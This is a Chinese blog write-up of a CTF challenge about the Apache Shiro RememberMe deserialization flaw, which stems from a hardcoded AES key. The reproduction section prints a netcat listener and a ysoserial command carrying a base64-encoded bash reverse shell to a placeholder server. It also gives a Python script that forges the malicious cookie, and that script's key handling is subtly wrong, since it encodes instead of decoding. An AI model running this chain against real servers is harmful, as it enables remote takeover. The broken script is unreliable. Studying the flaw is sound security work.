前言
最近博客更新的没有那么勤快了,比赛和杂七杂八的事情太多了,还是要静下心来好好学习啊
菜鸡其他语言的漏洞学的并不好,这次拿到了ogeek线下的一个题,来好好分析一波,也学一波javaOrz
环境配置
师傅们已经在dockerhub上搭好了环境了,pull下来就能用了1
https://github.com/Medicean/VulApps/tree/master/s/shiro/1
漏洞分析
生成cookie
shiro在登录的时候会提供给一个remember me的功能,用cookie去记录登录的用户,来保证下次登录不用写密码就能直接登录。具体过程是这样的,shiro对信息进行加密的AES秘钥是硬编码在文件中的,因此秘钥我们是可以知道的,而iv则为base64解码cookie后的前16个字节,因此我们可以控制信息进而构造出任意的序列化代码
处理rememberme的cookie类在org.apache.shiro.web.mgt.CookieRememberMeManager
,它的父类为org.apache.shiro.web.mgt.AbstractRememberMeManager
,定义的默认的秘钥就是在这里面了
在成功登录且选择了rememberme的选项的时候,就会进入onSuccessfulLogin里
接着就是一直跟过去1
2
3onSuccessfulLogin::rememberIdentity
rememberIdentity::rememberIdentity
rememberIdentity::convertPrincipalsToBytes
可以看到,在登录的时候,后台会对信息进行序列化然后再加密,加密的过程如下
在加密的时候,序列化用的类是PrincipalCollection,encrypt的方法是AES,模式为CBC,填充模式为PKCS5
继续跟过去AesCipherService的父类DefaultBlockCipherService可以看到加密函数更加具体的定义
而前面encrypt函数里面的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
调用的encrypt是在org.apache.shiro.crypto.JcaCipherService
这个类里面的,查看这个类的encrypt函数
这个函数将iv放在crypt函数加密的数据前返回,加密后在org.apache.shiro.web.mgt.CookieRememberMeManager
这个类内的rememberSerializedIdentity方法进行base64编码,然后返回来
解析cookie
在org.apache.shiro.web.mgt.CookieRememberMeManager
里会将传过来的base64字符串进行解码后赋值给byte,所以序列化后的字符就是存在这里的1
byte[] decoded = Base64.decode(base64);
然后再调用org.apache.shiro.web.mgt.AbstractRememberMeManager
里的getRememberedPrincipals方法去获取cookie中的身份信息
跟过去convertBytesToPrincipals可以看到后台会对信息进行解码,然后再进行反序列化
而decrypt方法中的秘钥就是前面加密过程的秘钥,通过getDecryptionCipherKey()获得它
看回去构造函数对于加解密的定义,可以看到,加解密所用的秘钥都是硬编码的秘钥
所以Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
这个秘钥会用于org.apache.shiro.crypto.JcaCipherService
这个类里的decrypt
方法中进行解码,然后再从cookie中取出iv和加密后的序列化数据在decrypt方法中调用crypt方法结合密文、key、iv解密
在前面的图我们可以看见,解密成功后,返回的数据就会进入到deserialize函数去进行反序列化,序列化的类是DefaultSerializer,this.serializer = new DefaultSerializer<PrincipalCollection>();
,先跟过去看一下
可以看到有readobject,至此,我们就能成功触发反序列化了
复现过程
先用nc一下1
nc -vlp 2345
然后起一个JRMP端口1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNfaXAvcG9ydCAwPiYxIA==}|{base64,-d}|{bash,-i}'
然后再执行以下文件生成rememberme的cookie1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
key = base64.b64encode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == "__main__":
payload = encode_rememberme("vps_ip:port")
print "rememberMe={0}".format(payload.decode())
将运行出来的值用burp发送过去,就可以出发反序列化漏洞,监听2345端口,因此成功反弹shell